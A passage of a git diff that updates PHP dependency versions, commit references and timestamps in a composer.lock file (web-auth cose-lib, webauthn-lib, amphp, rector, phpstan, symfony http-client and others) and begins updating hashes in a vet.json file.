`getenv()`.", "keywords": [ "dotenv", "env", @@ -12018,7 +12141,7 @@ ], "support": { "issues": "https://github.com/vlucas/phpdotenv/issues", - "source": "https://github.com/vlucas/phpdotenv/tree/v5.6.4" + "source": "https://github.com/vlucas/phpdotenv/tree/v5.7.0" }, "funding": [ { @@ -12030,7 +12153,7 @@ "type": "tidelift" } ], - "time": "2026-07-06T19:11:50+00:00" + "time": "2026-08-24T18:07:49+00:00" }, { "name": "voku/portable-ascii", @@ -12108,32 +12231,36 @@ }, { "name": "web-auth/cose-lib", - "version": "4.6.0", + "version": "4.8.2", "source": { "type": "git", "url": "https://github.com/web-auth/cose-lib.git", - "reference": "3afe04df137baf97c5c3e28c5ee6f05536405148" + "reference": "8849e8bf043a2d42d0bec5bda5db2469ad376148" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/web-auth/cose-lib/zipball/3afe04df137baf97c5c3e28c5ee6f05536405148", - "reference": "3afe04df137baf97c5c3e28c5ee6f05536405148", + "url": "https://api.github.com/repos/web-auth/cose-lib/zipball/8849e8bf043a2d42d0bec5bda5db2469ad376148", + "reference": "8849e8bf043a2d42d0bec5bda5db2469ad376148", "shasum": "" }, "require": { - "brick/math": "^0.9|^0.10|^0.11|^0.12|^0.13|^0.14|^0.15|^0.16|^0.17|^0.18", + "brick/math": "^0.9 || ^0.10 || ^0.11 || ^0.12 || ^0.13 || ^0.14 || ^0.15 || ^0.16 || ^0.17 || ^0.18 || ^0.19 || ^0.20 || ^1.0", "ext-json": "*", "ext-openssl": "*", "php": ">=8.1", "spomky-labs/pki-framework": "^1.0" }, + "conflict": { + "spomky-labs/cbor-php": "<3.4.0" + }, "require-dev": { - "spomky-labs/cbor-php": "^3.2.2" + "spomky-labs/cbor-php": "^3.4" }, "suggest": { - "ext-bcmath": "For better performance, please install either GMP (recommended) or BCMath extension", - "ext-gmp": "For better performance, please install either GMP (recommended) or BCMath extension", - "spomky-labs/cbor-php": "For COSE Signature support" + "ext-bcmath": "Recommended: without GMP or BCMath, signing with RSASSA-PSS (PS256/PS384/PS512) blinds its private exponentiation in pure PHP", + "ext-gmp": "Recommended: without GMP or BCMath, signing with RSASSA-PSS (PS256/PS384/PS512) blinds its private exponentiation in pure PHP", + "ext-sodium": "Required by the EdDSA/Ed25519 signature algorithms (-8, -19, -260, -261) and to recompute an OKP public key from its private key", + "spomky-labs/cbor-php": "Required by the RFC 9052 header reader and cryptographic structures. 3.4.0 or later: it ships the six COSE message classes (CBOR\\Tag\\CoseSign1Tag and its siblings) that replace the deprecated Cose\\...Tag classes, and its decoder is what enforces the RFC 9052 label uniqueness and nesting bounds this library relies on" }, "type": "library", "autoload": { @@ -12163,7 +12290,7 @@ ], "support": { "issues": "https://github.com/web-auth/cose-lib/issues", - "source": "https://github.com/web-auth/cose-lib/tree/4.6.0" + "source": "https://github.com/web-auth/cose-lib/tree/4.8.2" }, "funding": [ { @@ -12175,20 +12302,20 @@ "type": "patreon" } ], - "time": "2026-07-16T10:19:49+00:00" + "time": "2026-09-15T17:30:33+00:00" }, { "name": "web-auth/webauthn-lib", - "version": "5.3.5", + "version": "5.3.9", "source": { "type": "git", "url": "https://github.com/web-auth/webauthn-lib.git", - "reference": "9e0986d999f4102e24ac8a598d3a80d98b56c19f" + "reference": "727e378fb7a36c26be5c911e4a0120c146741ce7" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/web-auth/webauthn-lib/zipball/9e0986d999f4102e24ac8a598d3a80d98b56c19f", - "reference": "9e0986d999f4102e24ac8a598d3a80d98b56c19f", + "url": "https://api.github.com/repos/web-auth/webauthn-lib/zipball/727e378fb7a36c26be5c911e4a0120c146741ce7", + "reference": "727e378fb7a36c26be5c911e4a0120c146741ce7", "shasum": "" }, "require": { @@ -12200,7 +12327,7 @@ "psr/clock": "^1.0", "psr/event-dispatcher": "^1.0", "psr/log": "^1.0|^2.0|^3.0", - "spomky-labs/cbor-php": "^3.0", + "spomky-labs/cbor-php": "^3.4", "spomky-labs/pki-framework": "^1.0", "symfony/clock": "^6.4|^7.0|^8.0", "symfony/deprecation-contracts": "^3.2", @@ -12208,7 +12335,7 @@ "symfony/property-info": "^6.4|^7.0|^8.0", "symfony/serializer": "^6.4|^7.0|^8.0", "symfony/uid": "^6.4|^7.0|^8.0", - "web-auth/cose-lib": "^4.2.3" + "web-auth/cose-lib": "^4.8" }, "suggest": { "psr/log-implementation": "Recommended to receive logs from the library", @@ -12249,7 +12376,7 @@ "webauthn" ], "support": { - "source": "https://github.com/web-auth/webauthn-lib/tree/5.3.5" + "source": "https://github.com/web-auth/webauthn-lib/tree/5.3.9" }, "funding": [ { @@ -12261,7 +12388,7 @@ "type": "patreon" } ], - "time": "2026-05-31T15:00:08+00:00" + "time": "2026-09-10T21:10:45+00:00" }, { "name": "webmozart/assert", @@ -12758,16 +12885,16 @@ }, { "name": "amphp/dns", - "version": "v2.4.0", + "version": "v2.4.1", "source": { "type": "git", "url": "https://github.com/amphp/dns.git", - "reference": "78eb3db5fc69bf2fc0cb503c4fcba667bc223c71" + "reference": "ec5948bfafac808f410406e18bc7b52a2d4629b7" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/amphp/dns/zipball/78eb3db5fc69bf2fc0cb503c4fcba667bc223c71", - "reference": "78eb3db5fc69bf2fc0cb503c4fcba667bc223c71", + "url": "https://api.github.com/repos/amphp/dns/zipball/ec5948bfafac808f410406e18bc7b52a2d4629b7", + "reference": "ec5948bfafac808f410406e18bc7b52a2d4629b7", "shasum": "" }, "require": { @@ -12786,7 +12913,7 @@ "amphp/php-cs-fixer-config": "^2", "amphp/phpunit-util": "^3", "phpunit/phpunit": "^9", - "psalm/phar": "5.20" + "psalm/phar": "6.16.1" }, "type": "library", "autoload": { @@ -12835,7 +12962,7 @@ ], "support": { "issues": "https://github.com/amphp/dns/issues", - "source": "https://github.com/amphp/dns/tree/v2.4.0" + "source": "https://github.com/amphp/dns/tree/v2.4.1" }, "funding": [ { @@ -12843,7 +12970,7 @@ "type": "github" } ], - "time": "2025-01-19T15:43:40+00:00" + "time": "2026-07-26T17:53:54+00:00" }, { "name": "amphp/hpack", @@ -13443,16 +13570,16 @@ }, { "name": "amphp/socket", - "version": "v2.4.0", + "version": "v2.4.1", "source": { "type": "git", "url": "https://github.com/amphp/socket.git", - "reference": "dadb63c5d3179fd83803e29dfeac27350e619314" + "reference": "b347be5aff6b2cc025208bb4d896607eb470c018" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/amphp/socket/zipball/dadb63c5d3179fd83803e29dfeac27350e619314", - "reference": "dadb63c5d3179fd83803e29dfeac27350e619314", + "url": "https://api.github.com/repos/amphp/socket/zipball/b347be5aff6b2cc025208bb4d896607eb470c018", + "reference": "b347be5aff6b2cc025208bb4d896607eb470c018", "shasum": "" }, "require": { @@ -13515,7 +13642,7 @@ ], "support": { "issues": "https://github.com/amphp/socket/issues", - "source": "https://github.com/amphp/socket/tree/v2.4.0" + "source": "https://github.com/amphp/socket/tree/v2.4.1" }, "funding": [ { @@ -13523,7 +13650,7 @@ "type": "github" } ], - "time": "2026-04-19T15:09:56+00:00" + "time": "2026-08-22T18:13:20+00:00" }, { "name": "amphp/sync", @@ -14123,24 +14250,46 @@ }, { "name": "driftingly/rector-laravel", - "version": "2.5.0", + "version": "2.6.2", "source": { "type": "git", "url": "https://github.com/driftingly/rector-laravel.git", - "reference": "0dbdd842dfdbc821cfe5f47ca7326e2502b2a107" + "reference": "c0f9a2ff7365cec45d4dc64223608e7cec74604a" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/driftingly/rector-laravel/zipball/0dbdd842dfdbc821cfe5f47ca7326e2502b2a107", - "reference": "0dbdd842dfdbc821cfe5f47ca7326e2502b2a107", + "url": "https://api.github.com/repos/driftingly/rector-laravel/zipball/c0f9a2ff7365cec45d4dc64223608e7cec74604a", + "reference": "c0f9a2ff7365cec45d4dc64223608e7cec74604a", "shasum": "" }, "require": { - "php": "^7.4 || ^8.0", - "rector/rector": "^2.2.7", + "php": ">=8.3", + "rector/rector": "^2.6.4", + "symplify/rule-doc-generator-contracts": "^11.2", "webmozart/assert": "^1.11 || ^2.0" }, + "require-dev": { + "boundwize/structarmed": "^0.16", + "nette/utils": "^4.0", + "nikic/php-parser": "^5.6", + "phpstan/extension-installer": "^1.3", + "phpstan/phpstan": "^2.2", + "phpstan/phpstan-deprecation-rules": "^2.0", + "phpstan/phpstan-strict-rules": "^2.0", + "phpstan/phpstan-webmozart-assert": "^2.0", + "phpunit/phpunit": "^10.5", + "symplify/rule-doc-generator": "^12.2", + "tightenco/duster": "^3.1", + "tracy/tracy": "^2.10" + }, "type": "rector-extension", + "extra": { + "rector": { + "includes": [ + "config/config.php" + ] + } + }, "autoload": { "psr-4": { "RectorLaravel\\": "src" @@ -14153,9 +14302,9 @@ "description": "Rector upgrades rules for Laravel Framework", "support": { "issues": "https://github.com/driftingly/rector-laravel/issues", - "source": "https://github.com/driftingly/rector-laravel/tree/2.5.0" + "source": "https://github.com/driftingly/rector-laravel/tree/2.6.2" }, - "time": "2026-06-02T16:22:14+00:00" + "time": "2026-08-29T21:42:57+00:00" }, { "name": "fakerphp/faker", @@ -14222,23 +14371,23 @@ }, { "name": "fidry/cpu-core-counter", - "version": "1.3.0", + "version": "1.4.1", "source": { "type": "git", "url": "https://github.com/theofidry/cpu-core-counter.git", - "reference": "db9508f7b1474469d9d3c53b86f817e344732678" + "reference": "d384a7d0d6e67aa497327260ca95023e92dc2032" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/theofidry/cpu-core-counter/zipball/db9508f7b1474469d9d3c53b86f817e344732678", - "reference": "db9508f7b1474469d9d3c53b86f817e344732678", + "url": "https://api.github.com/repos/theofidry/cpu-core-counter/zipball/d384a7d0d6e67aa497327260ca95023e92dc2032", + "reference": "d384a7d0d6e67aa497327260ca95023e92dc2032", "shasum": "" }, "require": { "php": "^7.2 || ^8.0" }, "require-dev": { - "fidry/makefile": "^0.2.0", + "fidry/makefile": "^0.2.0 || ^1.1.2", "fidry/php-cs-fixer-config": "^1.1.2", "phpstan/extension-installer": "^1.2.0", "phpstan/phpstan": "^2.0", @@ -14246,6 +14395,7 @@ "phpstan/phpstan-phpunit": "^2.0", "phpstan/phpstan-strict-rules": "^2.0", "phpunit/phpunit": "^8.5.31 || ^9.5.26", + "symfony/polyfill-mbstring": "^1.33", "webmozarts/strict-phpunit": "^7.5" }, "type": "library", @@ -14271,7 +14421,7 @@ ], "support": { "issues": "https://github.com/theofidry/cpu-core-counter/issues", - "source": "https://github.com/theofidry/cpu-core-counter/tree/1.3.0" + "source": "https://github.com/theofidry/cpu-core-counter/tree/1.4.1" }, "funding": [ { @@ -14279,20 +14429,20 @@ "type": "github" } ], - "time": "2025-08-14T07:29:31+00:00" + "time": "2026-09-29T22:11:39+00:00" }, { "name": "filp/whoops", - "version": "2.18.4", + "version": "2.18.5", "source": { "type": "git", "url": "https://github.com/filp/whoops.git", - "reference": "d2102955e48b9fd9ab24280a7ad12ed552752c4d" + "reference": "baec851ad6ae00db8bd0fdd30d208afc1b71c56e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/filp/whoops/zipball/d2102955e48b9fd9ab24280a7ad12ed552752c4d", - "reference": "d2102955e48b9fd9ab24280a7ad12ed552752c4d", + "url": "https://api.github.com/repos/filp/whoops/zipball/baec851ad6ae00db8bd0fdd30d208afc1b71c56e", + "reference": "baec851ad6ae00db8bd0fdd30d208afc1b71c56e", "shasum": "" }, "require": { @@ -14301,8 +14451,8 @@ }, "require-dev": { "mockery/mockery": "^1.0", - "phpunit/phpunit": "^7.5.20 || ^8.5.8 || ^9.3.3", - "symfony/var-dumper": "^4.0 || ^5.0" + "phpunit/phpunit": "^7.5.20 || ^8.5.8 || ^9.3.3 || ^10.5.58", + "symfony/var-dumper": "^4.0 || ^5.0 || ^6.0 || ^7.0 || ^8.0" }, "suggest": { "symfony/var-dumper": "Pretty print complex values better with var-dumper available", @@ -14342,7 +14492,7 @@ ], "support": { "issues": "https://github.com/filp/whoops/issues", - "source": "https://github.com/filp/whoops/tree/2.18.4" + "source": "https://github.com/filp/whoops/tree/2.18.5" }, "funding": [ { @@ -14350,23 +14500,25 @@ "type": "github" } ], - "time": "2025-08-08T12:00:00+00:00" + "time": "2026-09-18T12:00:00+00:00" }, { "name": "hamcrest/hamcrest-php", - "version": "v2.1.1", + "version": "v3.0.0", "source": { "type": "git", "url": "https://github.com/hamcrest/hamcrest-php.git", - "reference": "f8b1c0173b22fa6ec77a81fe63e5b01eba7e6487" + "reference": "b61cd040da1a4925bc90a51c074f5297e7c0fa52" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/hamcrest/hamcrest-php/zipball/f8b1c0173b22fa6ec77a81fe63e5b01eba7e6487", - "reference": "f8b1c0173b22fa6ec77a81fe63e5b01eba7e6487", + "url": "https://api.github.com/repos/hamcrest/hamcrest-php/zipball/b61cd040da1a4925bc90a51c074f5297e7c0fa52", + "reference": "b61cd040da1a4925bc90a51c074f5297e7c0fa52", "shasum": "" }, "require": { + "ext-ctype": "*", + "ext-dom": "*", "php": "^7.4|^8.0" }, "replace": { @@ -14375,13 +14527,15 @@ "kodova/hamcrest-php": "*" }, "require-dev": { + "phpstan/phpstan": "^2.1", + "phpstan/phpstan-phpunit": "^2.0", "phpunit/php-file-iterator": "^1.4 || ^2.0 || ^3.0", "phpunit/phpunit": "^4.8.36 || ^5.7 || ^6.5 || ^7.0 || ^8.0 || ^9.0" }, "type": "library", "extra": { "branch-alias": { - "dev-master": "2.1-dev" + "dev-master": "3.0-dev" } }, "autoload": { @@ -14399,9 +14553,9 @@ ], "support": { "issues": "https://github.com/hamcrest/hamcrest-php/issues", - "source": "https://github.com/hamcrest/hamcrest-php/tree/v2.1.1" + "source": "https://github.com/hamcrest/hamcrest-php/tree/v3.0.0" }, - "time": "2025-04-30T06:54:44+00:00" + "time": "2026-03-17T11:56:53+00:00" }, { "name": "kelunik/certificate", @@ -14529,16 +14683,16 @@ }, { "name": "laravel/pint", - "version": "v1.30.4", + "version": "v1.32.1", "source": { "type": "git", "url": "https://github.com/laravel/pint.git", - "reference": "a96cb6eee2961905d2fce7207aefb80945bf6b28" + "reference": "006bd7825eb01daf92959d060b89cd9514fe4253" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/pint/zipball/a96cb6eee2961905d2fce7207aefb80945bf6b28", - "reference": "a96cb6eee2961905d2fce7207aefb80945bf6b28", + "url": "https://api.github.com/repos/laravel/pint/zipball/006bd7825eb01daf92959d060b89cd9514fe4253", + "reference": "006bd7825eb01daf92959d060b89cd9514fe4253", "shasum": "" }, "require": { @@ -14546,19 +14700,19 @@ "ext-mbstring": "*", "ext-tokenizer": "*", "ext-xml": "*", - "php": "^8.2.0" + "php": "^8.3.0" }, "require-dev": { "composer/semver": "^3.4.4", - "friendsofphp/php-cs-fixer": "^3.95.18", - "illuminate/view": "^12.65.0", - "larastan/larastan": "^3.10.0", - "laravel-zero/framework": "^12.1.0", + "friendsofphp/php-cs-fixer": "^3.95.25", + "illuminate/view": "^13.31.0", + "larastan/larastan": "^3.11.0", + "laravel-zero/framework": "^13.0.0", "laravel/agent-detector": "^2.0.2", - "laravel/prompts": "^0.3.22", - "mockery/mockery": "^1.6.12", + "laravel/prompts": "^0.3.24", + "mockery/mockery": "^1.6.15", "nunomaduro/termwind": "^2.4.0", - "pestphp/pest": "^3.8.7" + "pestphp/pest": "^4.7.8" }, "bin": [ "builds/pint" @@ -14595,7 +14749,7 @@ "issues": "https://github.com/laravel/pint/issues", "source": "https://github.com/laravel/pint" }, - "time": "2026-08-05T16:47:22+00:00" + "time": "2026-09-10T10:47:55+00:00" }, { "name": "laravel/roster", @@ -14821,29 +14975,28 @@ }, { "name": "mockery/mockery", - "version": "1.6.12", + "version": "1.6.15", "source": { "type": "git", "url": "https://github.com/mockery/mockery.git", - "reference": "1f4efdd7d3beafe9807b08156dfcb176d18f1699" + "reference": "967a801bd188989a5669bd280f252d51c0fdc9ee" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/mockery/mockery/zipball/1f4efdd7d3beafe9807b08156dfcb176d18f1699", - "reference": "1f4efdd7d3beafe9807b08156dfcb176d18f1699", + "url": "https://api.github.com/repos/mockery/mockery/zipball/967a801bd188989a5669bd280f252d51c0fdc9ee", + "reference": "967a801bd188989a5669bd280f252d51c0fdc9ee", "shasum": "" }, "require": { - "hamcrest/hamcrest-php": "^2.0.1", - "lib-pcre": ">=7.0", + "hamcrest/hamcrest-php": "^2.0 || ^3.0", "php": ">=7.3" }, "conflict": { "phpunit/phpunit": "<8.0" }, "require-dev": { - "phpunit/phpunit": "^8.5 || ^9.6.17", - "symplify/easy-coding-standard": "^12.1.14" + "phpunit/phpunit": "^9.6.36", + "symplify/easy-coding-standard": "^13.2.17" }, "type": "library", "autoload": { @@ -14900,24 +15053,24 @@ "security": "https://github.com/mockery/mockery/security/advisories", "source": "https://github.com/mockery/mockery" }, - "time": "2024-05-16T03:13:13+00:00" + "time": "2026-08-19T19:37:52+00:00" }, { "name": "myclabs/deep-copy", - "version": "1.13.4", + "version": "1.14.0", "source": { "type": "git", "url": "https://github.com/myclabs/DeepCopy.git", - "reference": "07d290f0c47959fd5eed98c95ee5602db07e0b6a" + "reference": "8680aa248f8e07bc8fb43f56f0f5fc77a0c96aae" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/07d290f0c47959fd5eed98c95ee5602db07e0b6a", - "reference": "07d290f0c47959fd5eed98c95ee5602db07e0b6a", + "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/8680aa248f8e07bc8fb43f56f0f5fc77a0c96aae", + "reference": "8680aa248f8e07bc8fb43f56f0f5fc77a0c96aae", "shasum": "" }, "require": { - "php": "^7.1 || ^8.0" + "php": "^8.0" }, "conflict": { "doctrine/collections": "<1.6.8", @@ -14952,15 +15105,15 @@ ], "support": { "issues": "https://github.com/myclabs/DeepCopy/issues", - "source": "https://github.com/myclabs/DeepCopy/tree/1.13.4" + "source": "https://github.com/myclabs/DeepCopy/tree/1.14.0" }, "funding": [ { - "url": "https://tidelift.com/funding/github/packagist/myclabs/deep-copy", - "type": "tidelift" + "url": "https://github.com/mnapoli", + "type": "github" } ], - "time": "2025-08-01T08:46:24+00:00" + "time": "2026-08-11T10:17:44+00:00" }, { "name": "nunomaduro/collision", @@ -15651,11 +15804,11 @@ }, { "name": "phpstan/phpstan", - "version": "2.2.8", + "version": "2.2.16", "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpstan/phpstan/zipball/e285254e60f33c21902efef4a926ca0987c06804", - "reference": "e285254e60f33c21902efef4a926ca0987c06804", + "url": "https://api.github.com/repos/phpstan/phpstan/zipball/46a6d9060e5a7763adfcc21ebcb8b504ebdbcb92", + "reference": "46a6d9060e5a7763adfcc21ebcb8b504ebdbcb92", "shasum": "" }, "require": { @@ -15711,7 +15864,7 @@ "type": "github" } ], - "time": "2026-08-04T22:21:45+00:00" + "time": "2026-09-25T09:31:51+00:00" }, { "name": "phpunit/php-code-coverage", @@ -15803,23 +15956,23 @@ }, { "name": "phpunit/php-file-iterator", - "version": "6.0.1", + "version": "6.0.2", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-file-iterator.git", - "reference": "3d1cd096ef6bea4bf2762ba586e35dbd317cbfd5" + "reference": "a248d1640ab059b075f53a2ef0f9856e864e06b5" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/3d1cd096ef6bea4bf2762ba586e35dbd317cbfd5", - "reference": "3d1cd096ef6bea4bf2762ba586e35dbd317cbfd5", + "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/a248d1640ab059b075f53a2ef0f9856e864e06b5", + "reference": "a248d1640ab059b075f53a2ef0f9856e864e06b5", "shasum": "" }, "require": { "php": ">=8.3" }, "require-dev": { - "phpunit/phpunit": "^12.0" + "phpunit/phpunit": "^12.5.33" }, "type": "library", "extra": { @@ -15852,7 +16005,7 @@ "support": { "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues", "security": "https://github.com/sebastianbergmann/php-file-iterator/security/policy", - "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/6.0.1" + "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/6.0.2" }, "funding": [ { @@ -15872,7 +16025,7 @@ "type": "tidelift" } ], - "time": "2026-02-02T14:04:18+00:00" + "time": "2026-08-25T14:40:53+00:00" }, { "name": "phpunit/php-invoker", @@ -16150,21 +16303,21 @@ }, { "name": "rector/rector", - "version": "2.6.1", + "version": "2.6.7", "source": { "type": "git", "url": "https://github.com/rectorphp/rector.git", - "reference": "b8e68f058bca43e01a2e1caa51ef022d6551ed95" + "reference": "f4aa224edb9b0630fb43826d4cb6a49b62e48d4c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/rectorphp/rector/zipball/b8e68f058bca43e01a2e1caa51ef022d6551ed95", - "reference": "b8e68f058bca43e01a2e1caa51ef022d6551ed95", + "url": "https://api.github.com/repos/rectorphp/rector/zipball/f4aa224edb9b0630fb43826d4cb6a49b62e48d4c", + "reference": "f4aa224edb9b0630fb43826d4cb6a49b62e48d4c", "shasum": "" }, "require": { "php": "^7.4|^8.0", - "phpstan/phpstan": "^2.2.6" + "phpstan/phpstan": "^2.2.14" }, "conflict": { "rector/rector-doctrine": "*", @@ -16172,9 +16325,6 @@ "rector/rector-phpunit": "*", "rector/rector-symfony": "*" }, - "suggest": { - "ext-dom": "To manipulate phpunit.xml via the custom-rule command" - }, "bin": [ "bin/rector" ], @@ -16198,7 +16348,7 @@ ], "support": { "issues": "https://github.com/rectorphp/rector/issues", - "source": "https://github.com/rectorphp/rector/tree/2.6.1" + "source": "https://github.com/rectorphp/rector/tree/2.6.7" }, "funding": [ { @@ -16206,7 +16356,7 @@ "type": "github" } ], - "time": "2026-08-03T17:30:34+00:00" + "time": "2026-09-13T20:17:44+00:00" }, { "name": "revolt/event-loop", @@ -16501,24 +16651,24 @@ }, { "name": "sebastian/diff", - "version": "7.0.0", + "version": "7.0.1", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/diff.git", - "reference": "7ab1ea946c012266ca32390913653d844ecd085f" + "reference": "cd4cabe39f8a4e8ee6818ba99f10a05561ea4ad6" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/7ab1ea946c012266ca32390913653d844ecd085f", - "reference": "7ab1ea946c012266ca32390913653d844ecd085f", + "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/cd4cabe39f8a4e8ee6818ba99f10a05561ea4ad6", + "reference": "cd4cabe39f8a4e8ee6818ba99f10a05561ea4ad6", "shasum": "" }, "require": { "php": ">=8.3" }, "require-dev": { - "phpunit/phpunit": "^12.0", - "symfony/process": "^7.2" + "phpunit/phpunit": "^12.5.33", + "symfony/process": "^7.4.17" }, "type": "library", "extra": { @@ -16556,15 +16706,27 @@ "support": { "issues": "https://github.com/sebastianbergmann/diff/issues", "security": "https://github.com/sebastianbergmann/diff/security/policy", - "source": "https://github.com/sebastianbergmann/diff/tree/7.0.0" + "source": "https://github.com/sebastianbergmann/diff/tree/7.0.1" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" + }, + { + "url": "https://liberapay.com/sebastianbergmann", + "type": "liberapay" + }, + { + "url": "https://thanks.dev/u/gh/sebastianbergmann", + "type": "thanks_dev" + }, + { + "url": "https://tidelift.com/funding/github/packagist/sebastian/diff", + "type": "tidelift" } ], - "time": "2025-02-07T04:55:46+00:00" + "time": "2026-08-25T15:35:54+00:00" }, { "name": "sebastian/environment", @@ -17191,16 +17353,16 @@ }, { "name": "serversideup/spin", - "version": "v3.3.0", + "version": "v3.5.2", "source": { "type": "git", "url": "https://github.com/serversideup/spin.git", - "reference": "4c65c3244470e2da44b0331efbefef5506a20fb2" + "reference": "faf54321caa9e16e4af172f467958c40cb5dd8c3" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/serversideup/spin/zipball/4c65c3244470e2da44b0331efbefef5506a20fb2", - "reference": "4c65c3244470e2da44b0331efbefef5506a20fb2", + "url": "https://api.github.com/repos/serversideup/spin/zipball/faf54321caa9e16e4af172f467958c40cb5dd8c3", + "reference": "faf54321caa9e16e4af172f467958c40cb5dd8c3", "shasum": "" }, "bin": [ @@ -17225,7 +17387,7 @@ "description": "Replicate your production environment locally using Docker. Just run \"spin up\". It's really that easy.", "support": { "issues": "https://github.com/serversideup/spin/issues", - "source": "https://github.com/serversideup/spin/tree/v3.3.0" + "source": "https://github.com/serversideup/spin/tree/v3.5.2" }, "funding": [ { @@ -17233,7 +17395,7 @@ "type": "github" } ], - "time": "2026-07-16T20:06:00+00:00" + "time": "2026-09-29T13:55:02+00:00" }, { "name": "staabm/side-effects-detector", @@ -17289,16 +17451,16 @@ }, { "name": "symfony/http-client", - "version": "v7.4.16", + "version": "v7.4.20", "source": { "type": "git", "url": "https://github.com/symfony/http-client.git", - "reference": "c513ed0ba5d1784a6b55fc84190dbe4451b12f41" + "reference": "750a420b8dd0af3d6e1c6c1412802abf2cdd2b6c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-client/zipball/c513ed0ba5d1784a6b55fc84190dbe4451b12f41", - "reference": "c513ed0ba5d1784a6b55fc84190dbe4451b12f41", + "url": "https://api.github.com/repos/symfony/http-client/zipball/750a420b8dd0af3d6e1c6c1412802abf2cdd2b6c", + "reference": "750a420b8dd0af3d6e1c6c1412802abf2cdd2b6c", "shasum": "" }, "require": { @@ -17366,7 +17528,7 @@ "http" ], "support": { - "source": "https://github.com/symfony/http-client/tree/v7.4.16" + "source": "https://github.com/symfony/http-client/tree/v7.4.20" }, "funding": [ { @@ -17386,20 +17548,20 @@ "type": "tidelift" } ], - "time": "2026-07-29T16:20:51+00:00" + "time": "2026-09-24T11:02:13+00:00" }, { "name": "symfony/http-client-contracts", - "version": "v3.7.1", + "version": "v3.7.3", "source": { "type": "git", "url": "https://github.com/symfony/http-client-contracts.git", - "reference": "41fc42d276aeff21192465331ebbab7d83a743c0" + "reference": "35be0019e2c2c9fba80f9dc033290a5240f7b44f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/41fc42d276aeff21192465331ebbab7d83a743c0", - "reference": "41fc42d276aeff21192465331ebbab7d83a743c0", + "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/35be0019e2c2c9fba80f9dc033290a5240f7b44f", + "reference": "35be0019e2c2c9fba80f9dc033290a5240f7b44f", "shasum": "" }, "require": { @@ -17448,7 +17610,7 @@ "standards" ], "support": { - "source": "https://github.com/symfony/http-client-contracts/tree/v3.7.1" + "source": "https://github.com/symfony/http-client-contracts/tree/v3.7.3" }, "funding": [ { @@ -17468,7 +17630,67 @@ "type": "tidelift" } ], - "time": "2026-06-05T06:23:12+00:00" + "time": "2026-08-04T08:41:16+00:00" + }, + { + "name": "symplify/rule-doc-generator-contracts", + "version": "11.2.0", + "source": { + "type": "git", + "url": "https://github.com/symplify/rule-doc-generator-contracts.git", + "reference": "479cfcfd46047f80624aba931d9789e50475b5c6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symplify/rule-doc-generator-contracts/zipball/479cfcfd46047f80624aba931d9789e50475b5c6", + "reference": "479cfcfd46047f80624aba931d9789e50475b5c6", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "php-parallel-lint/php-parallel-lint": "^1.3", + "phpstan/extension-installer": "^1.2", + "rector/rector": "^0.15.10", + "symplify/easy-ci": "^11.1", + "symplify/easy-coding-standard": "^11.1", + "symplify/easy-testing": "^11.1", + "symplify/phpstan-extensions": "^11.1", + "symplify/phpstan-rules": "11.2.3.72", + "tomasvotruba/unused-public": "^0.0.34" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "11.2-dev" + } + }, + "autoload": { + "psr-4": { + "Symplify\\RuleDocGenerator\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Contracts for production code of RuleDocGenerator", + "support": { + "source": "https://github.com/symplify/rule-doc-generator-contracts/tree/11.2.0" + }, + "funding": [ + { + "url": "https://www.paypal.me/rectorphp", + "type": "custom" + }, + { + "url": "https://github.com/tomasvotruba", + "type": "github" + } + ], + "abandoned": true, + "time": "2024-03-18T22:02:54+00:00" }, { "name": "ta-tikoma/phpunit-architecture-test", diff --git a/vet.json b/vet.json index 67f492a011..de28baaa3e 100644 --- a/vet.json +++ b/vet.json @@ -5,8 +5,8 @@ "hash": "tree-v2:be22a57eb742622a1ffba6ca86d121622eb74e75f927a8494532d5d4803badce" }, "aws/aws-sdk-php": { - "version": "3.391.1", - "hash": "tree-v2:16aee08fbba9a6ffece4681341f8028ac3caba5a79b39d3b5555e0a57ec71f50" + "version": "3.398.4", + "hash": "tree-v2:6c1c6ac6e6c2d9508b01e8ca3953322575e866aa3e1487a7aa315e7dfb4ba2b8" }, "bacon/bacon-qr-code": { "version": "v3.1.1", @@ -17,8 +17,8 @@ "hash": "tree-v2:79827d9b803e1ecdc82b596e792180dd785719f5d865f59a42aabbe61d85d4fb" }, "carbonphp/carbon-doctrine-types": { - "version": "3.2.0", - "hash": "tree-v2:ad33848c07e8c0d58a0f9011341684a226db43f96f7fc21c6cb99b9c66720f0f" + "version": "3.2.1", + "hash": "tree-v2:0f158f3b909fc01e691ed5f5121186056232b049031e7d3a914676d49881ece5" }, "clue/redis-protocol": { "version": "v0.3.2", @@ -29,8 +29,8 @@ "hash": 